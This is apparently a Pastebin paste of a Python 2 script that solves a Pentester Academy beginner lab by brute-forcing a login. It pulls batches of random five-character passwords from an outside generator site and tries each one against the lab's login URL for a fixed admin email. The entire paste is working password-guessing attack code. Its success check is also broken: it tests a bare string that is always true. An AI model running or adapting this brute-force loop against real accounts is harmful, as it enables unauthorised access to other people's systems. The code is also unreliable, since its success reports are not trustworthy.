Advertisement
Guest User

Challenge 1: Difficulty Level: Beginner -> SOLVED

a guest
Aug 14th, 2018
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.48 KB | None | 0 0
  1. # By MOHAMMED ADEL :D
  2. import requests
  3. import re
  4.  
  5. def goto(JJJ):
  6. global Jumpp
  7. line = JJJ
  8.  
  9. Jumpp = 1
  10. while True:
  11. if Jumpp == 1:
  12. ################################################################################################
  13. # Generate Passwords !
  14. client1 = requests.session()
  15. GEN_PASS = "http://www.unit-conversion.info/texttools/random-string-generator/?ajax=1"
  16. client1.get(GEN_PASS)
  17. payload = {
  18. "form[length]":"5",
  19. "form[string_qty]":"30", ## modify the number of passwords to be generated :) [Current number is 30]
  20. "form[text]":"xyz"
  21. }
  22. Resp1 = client1.post(GEN_PASS, data=payload, headers=dict(Referer=GEN_PASS))
  23. print "[***] New Passwords Generated !"
  24. Passes_Write = open("ps.txt","w")
  25. Passes_Write.write(Resp1.text)
  26. Passes_Write.close()
  27. ################################################################################################
  28.  
  29. ################################################################################################
  30. # Brute Force !
  31. client = requests.session()
  32. ID = "admin@pentesteracademy.com"
  33. Comp = "zzzxy"
  34. Passes = open("ps.txt","r")
  35. for pa in Passes:
  36. URL ="http://pentesteracademylab.appspot.com/lab/webapp/1?email="+ID+"&password="+pa.strip()
  37. client.get(URL)
  38. Resp = client.get(URL, headers=dict(Referer=URL))
  39. if "Failed! Please try again!" in Resp.text:
  40. print "[XX] FAILED !"
  41. print "[--] USER : "+ID
  42. print "[--] PASS : "+pa
  43. elif "Well done!This challenge has been cracked!":
  44. print "[:)] SUCCESS :D"
  45. print "[--] USER : "+ID
  46. print "[--] PASS : "+pa
  47. ################################################################################################
  48.  
  49. ################################################################################################
  50. # Keep goin or exit !
  51. Choice = raw_input("Generate new passwords (y/n): ")
  52. if Choice == "y" or Choice == "Y":
  53. goto(1)
  54. else:
  55. print "Bye :D"
  56. exit(0)
  57. ################################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement